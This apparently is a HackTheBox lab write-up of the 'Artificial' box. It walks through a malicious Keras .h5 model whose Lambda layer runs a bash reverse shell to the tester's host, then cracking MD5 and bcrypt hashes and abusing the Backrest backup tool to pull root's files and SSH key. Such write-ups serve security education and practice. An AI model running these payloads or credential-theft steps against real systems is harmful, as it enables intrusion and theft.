Artificial

Artificial starts with an AI website where I can upload models that are run with TensorFlow. I’ll exploit a deserialization vulnerability in how TensorFlow handles h5 files to get RCE and a foothold. I’ll find hashes in the database and crack one to pivot to the next user. That user has access to an instance of Backrest running on localhost. I’ll find the config and crack the hash to get access, and then show three ways to get execution as root through the application.

Box Info

Name Artificial Artificial
Play on HackTheBox
Release Date 21 Jun 2025
Retire Date 25 Oct 2025
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Artificial
Radar Graph Radar chart for Artificial
First Blood User 00:12:02NLTE
First Blood Root 00:23:28zer0dave
Creator FisMatHack

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-25 16:57 UTC
Initiating Ping Scan at 16:57
...[snip]...
Nmap scan report for 10.10.11.74
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-06-25 16:57:12 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds
           Raw packets sent: 65552 (2.884MB) | Rcvd: 65543 (2.622MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-18 16:57 UTC
Nmap scan report for 10.10.11.74
Host is up (0.092s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.87 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 20.04 focal (or perhaps 20.10 groovy). That’s a no longer supported OS, so I’ll want to keep an eye out for opportunities that may arise from that.

The webserver redirects to artificial.htb. I’ll use ffuf to bruteforce for subdomains that respond differently from the main redirect, but not find any. I’ll add this to my /etc/hosts file:

10.10.11.74 artificial.htb

Website - TCP 80

Site

The site is an AI “empowerment” site:

image-20250618131142029 expand

The main page doesn’t really say how it works, but it does show an example model generated using TensorFlow and some Python code.

There’s a registration form, and on registering and logging in, there’s a page to upload AI models:

image-20250618132230129

The requirements.txt file is a single line:

tensorflow-cpu==2.13.1

The Dockerfile allows me to create an environment that will work with theirs:

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

If I try to upload a file, the default filter is looking for .h5 files. These are hierarchical data format files, and are commonly used with TensorFlow to export and import machine learning models. If I try to upload a different file, it just reloads the dashboard with no message or sign of anything different.

I’ll create an empty file (touch test.h5) and upload that, and it does show up on the dashboard:

image-20250618132708544

Clicking “View Predictions” just reloads the dashboard.

Tech Stack

The HTTP response headers just show nginx:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 25 Jun 2025 17:09:06 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 5442

The 404 page matches the default Flask 404:

image-20250618132757445

It makes sense that this site would be in Python given the use of AI models and models exported from Python.

I’ll also note the TensorFlow version from the requirements.txt and Dockerfile, 2.13.1. This is almost certainly the version running on the server.

Directory Brute Force

I’ll run feroxbuster against the site to look for any unlinked paths:

oxdf@hacky$ feroxbuster -u http://artificial.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://artificial.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       28l       60w      857c http://artificial.htb/login
302      GET        5l       22w      189c http://artificial.htb/logout => http://artificial.htb/
200      GET       33l       65w      952c http://artificial.htb/register
200      GET       33l       73w      999c http://artificial.htb/static/js/scripts.js
200      GET      313l      666w     6610c http://artificial.htb/static/css/styles.css
200      GET      161l      472w     5442c http://artificial.htb/
302      GET        5l       22w      199c http://artificial.htb/dashboard => http://artificial.htb/login
[####################] - 60s    30007/30007   0s      found:7       errors:0
[####################] - 60s    30000/30000   504/s   http://artificial.htb/   

Nothing interesting there.

Shell as app

Identify Vulnerability

tensorflow-cpu Fail

I’ll spend a bunch of time looking for vulnerabilities in the tensorflow-cpu package version 2.13.1. This page from snyk shows the vulnerabilities at this time:

image-20250618134934678

Nothing past 2.12.

TensorFlow + h5

When TensorFlow saves a model to a file, it’s serializing the Python objects into a binary file that can be loaded again restoring those objects. This is a classically dangerous activity. Python Pickle module has been historically used for this, and it is well known that uploading a Pickle file to another site can lead to RCE.

In searching for this, there are lots of articles:

image-20250618135827617

Strategy

The second link in the search above is for a page titled TensorFlow Remote Code Execution with Malicious Model. The security page on the TensorFlow Github talks about how models are basically code, and not to run untrusted models.

In the exploit post, it shows this code:

import tensorflow as tf

def exploit(x):
    import os
    os.system("touch /tmp/pwned")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

This is very similar looking to the code from the website:

import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
    'hour': hours,
    'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(1,)),
    layers.Dense(64, activation='relu'),
    layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')

The example legit code is a bit more because it’s trying to do something. But both have the same structure:

  • A model based on tensorflow.keras.Sequential object is given layers.
  • The model’s compile function is called.
  • The model’s save function is called, outputting a .h5 file.

The exploit post notes that in a real attack scenario the exploit payload would be mixed in with a lot of legit layers making it harder to spot.

Generate Payload

Configure Docker

Deserialization attacks often depend on having the Python and package versions exactly the same as the target, so having a dockerfile for the target removes a lot of the guesswork. I’ll build the Docker container from the dockerfile:

oxdf@hacky$ docker build . -t artificial
[+] Building 1.8s (8/8) FINISHED                                                                       docker:default
 => [internal] load build definition from Dockerfile                                                             0.1s 
 => => transferring dockerfile: 496B                                                                             0.0s
 => [internal] load metadata for docker.io/library/python:3.8-slim                                               0.6s 
 => [internal] load .dockerignore                                                                                0.1s
 => => transferring context: 2B                                                                                  0.0s 
 => [1/4] FROM docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f  0.0s  => CACHED [2/4] WORKDIR /code                                                                                   0.0s 
 => CACHED [3/4] RUN apt-get update &&     apt-get install -y curl &&     curl -k -LO https://files.pythonhoste  0.0s
 => CACHED [4/4] RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.w  0.0s 
 => exporting to image                                                                                           0.2s
 => => exporting layers                                                                                          0.0s 
 => => writing image sha256:9c7ea36b7d9769d237d873bb481eae19e286d4cb81b44c9f9a1e87f3cd702acd                     0.0s  => => naming to docker.io/library/artificial

The entrypoint of the container is bash, so running with -it will just drop into the container with an interactive terminal:

oxdf@hacky$ docker run -it -v $(pwd):/share artificial:latest 
root@276fc8f96daa:/code#

I’m also sharing the current directory into the container as /share so I have an easy way to get files out of the container when I need to.

Generate Payload

I’ll save a copy of the exploit code to the current directory that is mounted into the container. Now it’s visible in the /share directory in the container:

root@276fc8f96daa:/share# cat exploit.py 
import tensorflow as tf

def exploit(x):
    import os
    os.system("ping -c 2 10.10.14.6")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

I’ve changed the os.system call to ping my host, as the original POC just wrote a file to /tmp, which I have no means to see.

From within the container, I’ll run this with Python:

root@276fc8f96daa:/share# python exploit.py 
2025-06-25 18:49:25.956956: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: ping: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(

It actually complains about ping not being found, which means that it tries to run ping during this build process. Despite the error, it still generates the output file exploit.h5.

Execute

POC

I’ll delete my previous models and upload this one to the site. On upload, nothing happens, but it does show up on the dashboard:

image-20250618145234325

On clicking “View Predictions”, there’s ICMP at my listening tcpdump:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:50:19.774395 IP 10.10.11.74 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
18:50:19.774427 IP 10.10.14.6 > 10.10.11.74: ICMP echo reply, id 1, seq 1, length 64
18:50:20.775819 IP 10.10.11.74 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 64
18:50:20.775845 IP 10.10.14.6 > 10.10.11.74: ICMP echo reply, id 1, seq 2, length 64
18:50:21.325551 IP 10.10.11.74 > 10.10.14.6: ICMP echo request, id 2, seq 1, length 64
18:50:21.325593 IP 10.10.14.6 > 10.10.11.74: ICMP echo reply, id 2, seq 1, length 64
18:50:22.326895 IP 10.10.11.74 > 10.10.14.6: ICMP echo request, id 2, seq 2, length 64
18:50:22.326916 IP 10.10.14.6 > 10.10.11.74: ICMP echo reply, id 2, seq 2, length 64

Interestingly, my payload said to ping twice, but there are four incoming ICMP packets, suggesting that the payload is executed twice.

Shell

To get a shell, I’ll update the payload to bash reverse shell:

def exploit(x):
    import os
    #os.system("ping -c 2 10.10.14.6")
    os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'")
    return x

When I run the script to build the payload, it tries to run the rev shell and fails to connect:

root@276fc8f96daa:/share# python exploit.py 
2025-06-25 18:54:21.666139: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
bash: connect: Connection refused
bash: line 1: /dev/tcp/10.10.14.6/443: Connection refused
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(

That’s ok. I’ll upload the file to Artificial, and start a nc listener. On clicking “View Predictions”, it hangs, and there’s a shell at my listener:

oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.74 59218
bash: cannot set terminal process group (857): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$ 

I’ll upgrade the shell using the standard trick:

app@artificial:~$ script /dev/null -c bash
Script started, file is /dev/null
app@artificial:~$ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
sudo nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
app@artificial:~$

Shell as gael

Enumeration

Users

There are two users with home directories on the box:

app@artificial:/home$ ls
app  gael

This matches the users with shells set in passwd:

app@artificial:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
gael:x:1000:1000:gael:/home/gael:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

app can’t access gael.

Web Application

The web application seems to be running out of the app user’s home directory in the app folder:

app@artificial:~/app$ ls                                   
app.py  instance  models  __pycache__  static  templates

The instance directory has the SQLite database:

app@artificial:~/app$ ls instance/             
users.db

It only has two tables:

app@artificial:~/app$ sqlite3 instance/users.db    
SQLite version 3.31.1 2020-01-27 19:55:54          
Enter ".help" for usage hints.
sqlite> .tables
model  user

The user table is more interesting, containing usernames, emails, and password hashes:

sqlite> .headers on
sqlite> select * from user;
id|username|email|password
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|0xdf|0xdf@artificial.htb|9a17ef38bd5098be451a8ccaa93c0f19

These look like MD5 hashes based on the length of 32 hex characters. I’ll drop them into CrackStation and two are immediately found:

image-20250618150204612

The top one is for the gael user, which is also the name of a user account on Artificial.

Shell

The password works for gael using su:

app@artificial:~/app$ su - gael
Password: 
gael@artificial:~$

It also works over SSH which provides both a save point and a more solid shell:

oxdf@hacky$ sshpass -p 'mattp005numbertwo' ssh gael@artificial.htb
Warning: Permanently added 'artificial.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
gael@artificial:~$ 

Either way I can grab user.txt:

gael@artificial:~$ cat user.txt
87f23df3************************

Shell as root

Enumeration

gael

Other than user.txt, there’s nothing really of interest in gael’s home directory:

gael@artificial:~$ ls -la
total 32
drwxr-x--- 4 gael gael 4096 Jun  9 08:53 .
drwxr-xr-x 4 root root 4096 Jun 18 13:19 ..
lrwxrwxrwx 1 root root    9 Oct 19  2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gael gael 3771 Feb 25  2020 .bashrc
drwx------ 2 gael gael 4096 Sep  7  2024 .cache
-rw-r--r-- 1 gael gael  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Oct 19  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 19  2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4096 Sep  7  2024 .ssh
-rw-r----- 1 root gael   33 Jun  9 08:53 user.txt

They don’t have sudo privs either:

gael@artificial:~$ sudo -l
[sudo] password for gael: 
Sorry, user gael may not run sudo on artificial.

Processes

Each user can only see their own processes:

gael@artificial:~$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
gael        2101  0.0  0.2  19076  9508 ?        Ss   19:01   0:00 /lib/systemd/systemd --user
gael        2262  0.0  0.1   8276  5356 pts/1    Ss   19:05   0:00 -bash
gael        2456  0.0  0.0   8888  3200 pts/1    R+   19:26   0:00 ps auxww

That’s because /proc is mounted as hidepid=2:

gael@artificial:~$ mount | grep ^proc
proc on /proc type proc (rw,relatime,hidepid=2)

Nothing interesting here.

Network

There are two services listening only on localhost that are worth investigating:

gael@artificial:~$ ss -tnlp
State        Recv-Q       Send-Q               Local Address:Port               Peer Address:Port       Process       
LISTEN       0            2048                     127.0.0.1:5000                    0.0.0.0:*                        
LISTEN       0            4096                     127.0.0.1:9898                    0.0.0.0:*                        
LISTEN       0            511                        0.0.0.0:80                      0.0.0.0:*                        
LISTEN       0            4096                 127.0.0.53%lo:53                      0.0.0.0:*                        
LISTEN       0            128                        0.0.0.0:22                      0.0.0.0:*                        
LISTEN       0            511                           [::]:80                         [::]:*                        
LISTEN       0            128                           [::]:22                         [::]:* 

Port 5000 is just the local instance of the Flask application main site. The nginx config shows that port 80 is proxies there:

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    if ($host != artificial.htb) {
        rewrite ^ http://artificial.htb/;
    }


    server_name artificial.htb;

        access_log /var/log/nginx/application.access.log;
        error_log /var/log/nginx/appliation.error.log;

        location / {
                include proxy_params;
                proxy_pass http://127.0.0.1:5000;
        }

}

9898 is something else. If I grep for “:9898” in /etc it’ll show the backrest.service file, which is a good lead on what the application is:

gael@artificial:/etc$ grep -r ':9898' 2>/dev/null
systemd/system/backrest.service:Environment="BACKREST_PORT=127.0.0.1:9898"

Backrest

Trying to hit port 9898 with nc shows it’s an HTTP server:

gael@artificial:~$ echo "asdfawsdfsdf" | nc localhost 9898
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

curl returns junk:

gael@artificial:~$ curl localhost:9898
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.
gael@artificial:~$ curl localhost:9898 -o- | xxd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   226  100   226    0     0  28250      0 --:--:-- --:--:-- --:--:-- 28250
00000000: 1f8b 0808 eb3d b267 0003 696e 6465 782e  .....=.g..index.
00000010: 6874 6d6c 008d 50bd 8ec2 300c 7e95 9007  html..P...0.~...
00000020: 68ab 8228 95d2 0c07 cc30 b0dc 98b3 5d9a  h..(.....0....].
00000030: 236d a324 20fa f624 5738 5616 cbf6 e7ef  #m.$ ..$W8V.....
00000040: 4716 8bdd 617b fa3e ee59 177a 23c5 b392  G...a{.>.Y.z#...
00000050: 4229 8c1e 2ecc 9169 b80f 9321 df11 05ce  B).....i...!....
00000060: 3a47 6dc3 f580 74cf 36ab 1aea 7a83 1978  :Gm...t.6...z..x
00000070: cfa5 083a 1892 5f0a 2e8e 7c10 f93c 7fa0  ...:.._...|..<..
00000080: 5356 a08a a282 a7ce 9ba0 611c 380b 93a5  SV........a.8...
00000090: d8f7 ea4c b91d ce2f 6eab 6e09 cf70 55d5  ...L.../n.n..pU.
000000a0: 8065 9925 4c8a 7c4e ff33 e224 9940 7d63  .e.%L.|N.3.$.@}c
000000b0: 1a1b aeac 4d58 1ce3 d283 d336 30ef e03f  ....MX.....60..?
000000c0: c172 dd16 6d4c f0eb 5f7e fd88 5743 8934  .r..mL.._~..WC.4
000000d0: 9f47 5efe 271a 1dd2 971e c56c f70e 3b01  .G^.'......l..;.
000000e0: 0000 

I’ll setup an SSH tunnel from my host on 9898 to Artificial on 9898 (either by reconnecting with -L 9898:localhost:9898 or by dropping into an SSH control shell). That opens 9898 on my host, and accessing it will tunnel requests through the SSH session and then out from Artificial. So opening localhost:9898 in the browser now loads:

image-20250618153505202

Backrest is a web GUI that handles backups. It’s installed in /opt/backrest:

gael@artificial:/opt/backrest$ ls -l
total 51104
-rwxr-xr-x 1 app  ssl-cert 25690264 Feb 16 19:38 backrest
-rwxr-xr-x 1 app  ssl-cert     3025 Mar  3 04:28 install.sh
-rw------- 1 root root           64 Mar  3 21:18 jwt-secret
-rw-r--r-- 1 root root        77824 Jun 25 19:30 oplog.sqlite
-rw------- 1 root root            0 Mar  3 21:18 oplog.sqlite.lock
-rw-r--r-- 1 root root        32768 Jun 25 19:30 oplog.sqlite-shm
-rw-r--r-- 1 root root            0 Jun 25 19:30 oplog.sqlite-wal
drwxr-xr-x 2 root root         4096 Mar  3 21:18 processlogs
-rwxr-xr-x 1 root root     26501272 Mar  3 04:28 restic
drwxr-xr-x 3 root root         4096 Jun 25 19:30 tasklogs

Only root can access the jwt-secret.

Backups

In /var/backups, there’s an archive referencing “backrest”:

gael@artificial:/var/backups$ ls -l
total 51220
-rw-r--r-- 1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

It’s readable by members of sysadm, which gael is in:

gael@artificial:/var/backups$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

tar tf will list what’s in the file:

gael@artificial:/var/backups$ tar tf backrest_backup.tar.gz 
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

I’ll extract the contents into /tmp:

gael@artificial:/var/backups$ tar xf backrest_backup.tar.gz -C /tmp/
gael@artificial:/var/backups$ cd /tmp/backrest/
gael@artificial:/tmp/backrest$ ls -a
.   backrest  install.sh  oplog.sqlite       oplog.sqlite-shm  processlogs  tasklogs
..  .config   jwt-secret  oplog.sqlite.lock  oplog.sqlite-wal  restic

The JWT secret file is there:

gael@artificial:/tmp/backrest$ cat jwt-secret | xxd
00000000: be06 f59c 292e cc79 2544 01ed 7287 7c9c  ....)..y%D..r.|.
00000010: 774c 1f46 280f 9e19 fad1 17dc c2a6 c723  wL.F(..........#
00000020: c701 233c 1376 d107 7fa9 ab57 0060 6416  ..#<.v.....W.`d.
00000030: 7b40 63e6 936c d8bd 5089 4dc7 d34d e918  {@c..l..P.M..M..

In theory, I could figure out what a JWT for Backrest looks like, and try to forge a cookie. That seems hard for an easy box. I’ll keep looking.

In .config/backrest there’s a config.json file:

gael@artificial:/tmp/backrest/.config/backrest$ cat config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

It’s got the backrest_root user’s password hash.

Crack Password

The hash doesn’t look like a standard bcrypt hash, but rather base64 data. I’ll try decoding it, and it works:

oxdf@hacky$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
oxdf@hacky$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > backrest.hash 

I’ve saved it to a file for cracking.

I’ll pass that to hashcat, and it can’t determine the mode:

$ hashcat backrest.hash rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...                                                           
The following 4 hash-modes match the structure of your input hash:
                                                           
      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce
                                                           
Please specify the hash-mode with -m [hash-mode].
...[snip]...

This is common with bcrypt. Unless I have reason to think otherwise, I’ll always start with 3200:

$ hashcat backrest.hash rockyou.txt -m 3200
hashcat (v6.2.6) starting 
...[snip]...
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
...[snip]...

It cracks very quickly.

Backrest Overview

On logging into Backrest as backrest_root with the password above, there’s nothing really here:

image-20250618160017807

Backrest is a GUI wrapper around restic, a command line backup utility. There are two objects in Backrest, Plans and Repositories. A repository is a storage location where backup data is kept, and the encryption keys that go with it. A plan is a configuration that defines what data is to be backed up, how often, and retention information.

Escalation Paths

There are multiple ways to get execution from Backrest. I’ll show three:

  • Reading SSH key via backup.
  • Abusing Backrest hooks.
  • Injecting into a restic command.

Escalation via SSH Keys

I’ll create a repository filling out the first three required fields and leaving the rest default:

image-20250618162909897

It now shows up on the left:

image-20250618162942925

I’ll “Add Plan” and give it my repository and target /root, leaving the rest default:

image-20250618164229841

On submitting, it shows up as well:

image-20250618164244670

Clicking on RootExfil, there’s a “Backup Now” button:

image-20250618164537029

There’s a backup scheduled for a bit from now, but hitting “Backup Now” and refreshing shows another:

image-20250618164818049

The data is in /dev/shm/0xdf, but only root can access it:

gael@artificial:/dev/shm/0xdf$ ls -l
total 4
-r--------   1 root root  155 Jun 25 00:03 config
drwx------ 258 root root 5160 Jun 25 00:03 data
drwx------   2 root root   60 Jun 25 00:03 index
drwx------   2 root root   60 Jun 25 00:03 keys
drwx------   2 root root   40 Jun 25 00:03 locks
drwx------   2 root root   60 Jun 25 00:03 snapshots

Clicking on the Backup in the web UI, there’s a Snapshot Browser that shows the files

image-20250618164938366

Hovering over a folder or file offers a download icon and menu:

image-20250618165010333

Selecting “Restore to path” offers a dialog asking for a path:

image-20250618165033723

I’ll accept the offered path by clicking Restore. That directory is now in the filesystem root, but only accessible by root:

gael@artificial:/$ ls -ld root-backrest-restore-81b971a8/
drwx------ 3 root root 4096 Jun 25 00:06 root-backrest-restore-81b971a8/

The Restore now shows up in the Plan list:

image-20250618165140931

Clicking on it offers a download files option:

image-20250618165158373

This downloads a .tar.gz file to my local filesystem! All the root files are in there:

oxdf@hacky$ tar tf archive-2025-06-25-00-07-52.tar.gz 
root/.bash_history
root/.bashrc
root/.cache/motd.legal-displayed
root/.cache/pip/http-v2/4/1/6/8/8/416881f866e33a7744ad95f31a3ae8b613e3124ffb001e2eb7297ea2
root/.cache/pip/http-v2/4/1/6/8/8/416881f866e33a7744ad95f31a3ae8b613e3124ffb001e2eb7297ea2.body
root/.cache/pip/http-v2/5/2/5/4/a/5254a237c96df7ddd98a86adb705f07b096444d30983fc85701f9a77
root/.cache/pip/http-v2/5/2/5/4/a/5254a237c96df7ddd98a86adb705f07b096444d30983fc85701f9a77.body
root/.cache/pip/http-v2/6/9/0/6/c/6906c92fa4baed2c913142c37ea2c6efa0ff42bca5ceada7533a3824
root/.cache/pip/http-v2/6/9/0/6/c/6906c92fa4baed2c913142c37ea2c6efa0ff42bca5ceada7533a3824.body
root/.cache/pip/http-v2/9/4/e/3/5/94e351ab514558dd41a1b984f1890b405cf823a0ae55407c206e52ef
root/.cache/pip/http-v2/9/4/e/3/5/94e351ab514558dd41a1b984f1890b405cf823a0ae55407c206e52ef.body
root/.cache/pip/http-v2/a/1/9/5/3/a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a
root/.cache/pip/http-v2/a/1/9/5/3/a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.body
root/.cache/pip/http-v2/a/4/6/b/7/a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950c
root/.cache/pip/http-v2/a/4/6/b/7/a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950c.body
root/.cache/pip/http-v2/f/5/b/f/6/f5bf61d556317048ec0f8d64e24ac9dde22abca94241aa5ff4a4e791
root/.cache/pip/http-v2/f/5/b/f/6/f5bf61d556317048ec0f8d64e24ac9dde22abca94241aa5ff4a4e791.body
root/.cache/pip/selfcheck/241e69162522ccf5846a2f42ebc24b17464915a155679666b89a9f31
root/.local/share/backrest/install.lock
root/.local/share/backrest/jwt-secret
root/.local/share/backrest/oplog.sqlite
root/.local/share/backrest/oplog.sqlite.lock
root/.local/share/backrest/processlogs/backrest.log
root/.local/share/backrest/tasklogs/logs.sqlite
root/.local/share/nano/search_history
root/.profile
root/.python_history
root/.ssh/authorized_keys
root/.ssh/id_rsa
root/root.txt
root/scripts/cleanup.sh
root/scripts/config.json

I’ll extract it and grab the flag:

oxdf@hacky$ tar xf archive-2025-06-25-00-07-52.tar.gz 
